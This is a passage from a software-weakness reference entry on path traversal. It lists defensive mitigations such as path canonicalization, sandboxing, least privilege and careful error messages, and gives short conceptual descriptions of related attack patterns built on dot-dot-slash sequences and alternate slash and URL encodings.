- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.